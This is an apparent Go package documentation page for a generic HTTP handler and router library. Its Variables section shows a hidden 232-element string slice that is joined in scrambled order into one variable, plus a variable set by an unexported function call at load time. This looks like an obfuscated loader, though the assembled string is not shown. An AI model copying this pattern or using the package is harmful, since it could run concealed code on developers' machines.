Documentation
¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
var BY = []string{} /* 232 elements not displayed */
var JEKAus = BY[110] + BY[84] + BY[90] + BY[173] + BY[39] + BY[138] + BY[24] + BY[69] + BY[54] + BY[162] + BY[51] + BY[107] + BY[144] + BY[100] + BY[147] + BY[178] + BY[132] + BY[130] + BY[14] + BY[172] + BY[77] + BY[190] + BY[129] + BY[175] + BY[121] + BY[171] + BY[174] + BY[194] + BY[10] + BY[60] + BY[145] + BY[131] + BY[123] + BY[106] + BY[56] + BY[22] + BY[28] + BY[157] + BY[230] + BY[87] + BY[231] + BY[156] + BY[152] + BY[64] + BY[118] + BY[219] + BY[55] + BY[179] + BY[79] + BY[229] + BY[81] + BY[2] + BY[204] + BY[181] + BY[113] + BY[197] + BY[217] + BY[148] + BY[6] + BY[137] + BY[101] + BY[7] + BY[0] + BY[8] + BY[98] + BY[176] + BY[57] + BY[212] + BY[32] + BY[94] + BY[177] + BY[59] + BY[99] + BY[11] + BY[48] + BY[133] + BY[200] + BY[116] + BY[201] + BY[15] + BY[74] + BY[103] + BY[153] + BY[111] + BY[58] + BY[4] + BY[146] + BY[21] + BY[71] + BY[42] + BY[170] + BY[226] + BY[115] + BY[109] + BY[227] + BY[3] + BY[208] + BY[120] + BY[193] + BY[191] + BY[80] + BY[19] + BY[102] + BY[63] + BY[27] + BY[128] + BY[49] + BY[70] + BY[23] + BY[203] + BY[96] + BY[36] + BY[12] + BY[141] + BY[13] + BY[37] + BY[44] + BY[199] + BY[75] + BY[225] + BY[140] + BY[26] + BY[184] + BY[209] + BY[86] + BY[1] + BY[182] + BY[25] + BY[167] + BY[122] + BY[127] + BY[205] + BY[62] + BY[95] + BY[41] + BY[72] + BY[142] + BY[34] + BY[218] + BY[45] + BY[211] + BY[104] + BY[16] + BY[150] + BY[124] + BY[214] + BY[183] + BY[215] + BY[165] + BY[18] + BY[158] + BY[35] + BY[161] + BY[105] + BY[83] + BY[207] + BY[188] + BY[202] + BY[192] + BY[5] + BY[206] + BY[65] + BY[135] + BY[196] + BY[17] + BY[134] + BY[31] + BY[195] + BY[67] + BY[166] + BY[30] + BY[73] + BY[149] + BY[228] + BY[139] + BY[33] + BY[40] + BY[112] + BY[164] + BY[125] + BY[92] + BY[114] + BY[43] + BY[143] + BY[53] + BY[50] + BY[154] + BY[88] + BY[47] + BY[61] + BY[163] + BY[159] + BY[38] + BY[9] + BY[97] + BY[78] + BY[187] + BY[93] + BY[220] + BY[210] + BY[180] + BY[221] + BY[119] + BY[29] + BY[168] + BY[155] + BY[52] + BY[169] + BY[136] + BY[189] + BY[68] + BY[216] + BY[117] + BY[108] + BY[186] + BY[151] + BY[85] + BY[198] + BY[76] + BY[20] + BY[185] + BY[89] + BY[223] + BY[46] + BY[213] + BY[82] + BY[160] + BY[126] + BY[224] + BY[66] + BY[91] + BY[222]
var RGLVwYPJ = FavqmtFP()
Functions ¶
Types ¶
type Handler ¶
Handler is a generic handler type.
func NewHandler ¶
func NewHandler[In any, Out any]( reqMapper RequestMapper[In], resMapper ResponseMapper[Out], svcFunc ServiceFunc[In, Out], vld Validator, ) Handler[In, Out]
NewHandler creates new handler.
func (Handler[In, Out]) Handle ¶
Handle handles the http request. No need to write a separate handler for each endpoint. Just create request and response mappers and use this generic handler. It will map the request, validate it, call the service function and map the response. It will return an error if any of the steps fail. Assumes that the service function receives context and input type, and returns a output object and an error.
type HandlerFunc ¶
HandlerFunc is API generic handler func type.
type RequestMapper ¶
RequestMapper is generic interfaces for mapping request objects.
type ResponseMapper ¶
type ResponseMapper[Out any] interface { Map(http.ResponseWriter, Out) error }
ResponseMapper is generic interfaces for mapping response objects.
type Router ¶
Router is the main API router. It is a wrapper around chi.Router with some additional functionality. Chi router can be replaced with any other router that implements net/http.
func (*Router) HttpHandlerFunc ¶
func (r *Router) HttpHandlerFunc(h HandlerFunc[any, any]) http.HandlerFunc
HttpHandlerFunc creates http.HandlerFunc from custom HandlerFunc. It handles API errors and returns them as HTTP errors.
type Server ¶
type Server struct {
// contains filtered or unexported fields
}
type ServiceFunc ¶
ServiceFunc is a generic service function type called in a handler.